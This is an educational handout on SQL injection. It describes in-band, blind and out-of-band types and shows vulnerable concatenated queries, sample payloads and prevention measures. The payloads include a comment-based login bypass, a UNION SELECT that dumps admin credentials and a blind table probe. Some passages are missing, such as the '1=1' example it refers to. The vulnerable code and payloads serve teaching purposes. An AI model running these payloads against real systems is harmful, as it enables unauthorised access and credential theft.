SQL Injection
SQL Injection
1. In-band SQLi: The attacker uses the same communication channel to launch and gather
results of the attack.
2. Inferential SQLi (Blind SQLi): The attacker sends payloads to the server and observes
the response and behavior of the server to infer the database structure.
3. Out-of-band SQLi: The attacker uses different communication channels to perform the
attack and retrieve data.
Vulnerable Code:
sql
Copy code
username = input("Enter username:")
password = input("Enter password:")
query = "SELECT * FROM users WHERE username = '" + username + "' AND password
= '" + password + "'"
Attack:
Input:
o username: admin'--
o password: anything
Injected Query:
sql
Copy code
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
The -- comment out the rest of the query, resulting in the following:
sql
Copy code
SELECT * FROM users WHERE username = 'admin'
Scenario: A web page that displays user details based on the user ID provided in the URL.
Vulnerable URL:
http
Copy code
http://example.com/user?id=1
Vulnerable Code:
sql
Copy code
query = "SELECT name, email FROM users WHERE id = " + user_id
Attack:
Injected Query:
sql
Copy code
SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password
FROM admin--
Outcome: The attacker retrieves usernames and passwords from the admin table.
Scenario: A search feature that returns results if the query matches any entries in the database.
Vulnerable Code:
sql
Copy code
query = "SELECT * FROM products WHERE name = '" + search_term + "'"
Attack:
Outcome: The query always returns true because 1=1 is always true.
Further Exploitation:
sql
Copy code
SELECT * FROM products WHERE name = 'anything' AND (SELECT COUNT(*) FROM
users) > 0--
Outcome: The attacker confirms the existence of the users table based on the server's
response.
sql
Copy code
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
2. Stored Procedures: Encapsulate SQL queries in the database, separating logic from data
input.
sql
Copy code
CREATE PROCEDURE getUserDetails @username NVARCHAR(50), @password
NVARCHAR(50)
AS
BEGIN
SELECT * FROM users WHERE username = @username AND password =
@password
END
3. Input Validation: Validate and sanitize user inputs to ensure they do not contain
malicious characters.
4. Least Privilege Principle: Ensure that database accounts have the minimum permissions
required.
5. Web Application Firewalls (WAFs): Deploy WAFs to detect and block SQL injection
attempts.
Sources
OWASP SQL Injection
SQL Injection - Wikipedia
SQL Injection Prevention Cheat Sheet - OWASP
These examples illustrate the mechanisms and potential impacts of SQL injection attacks,
emphasizing the importance of secure coding practices and proactive security measures.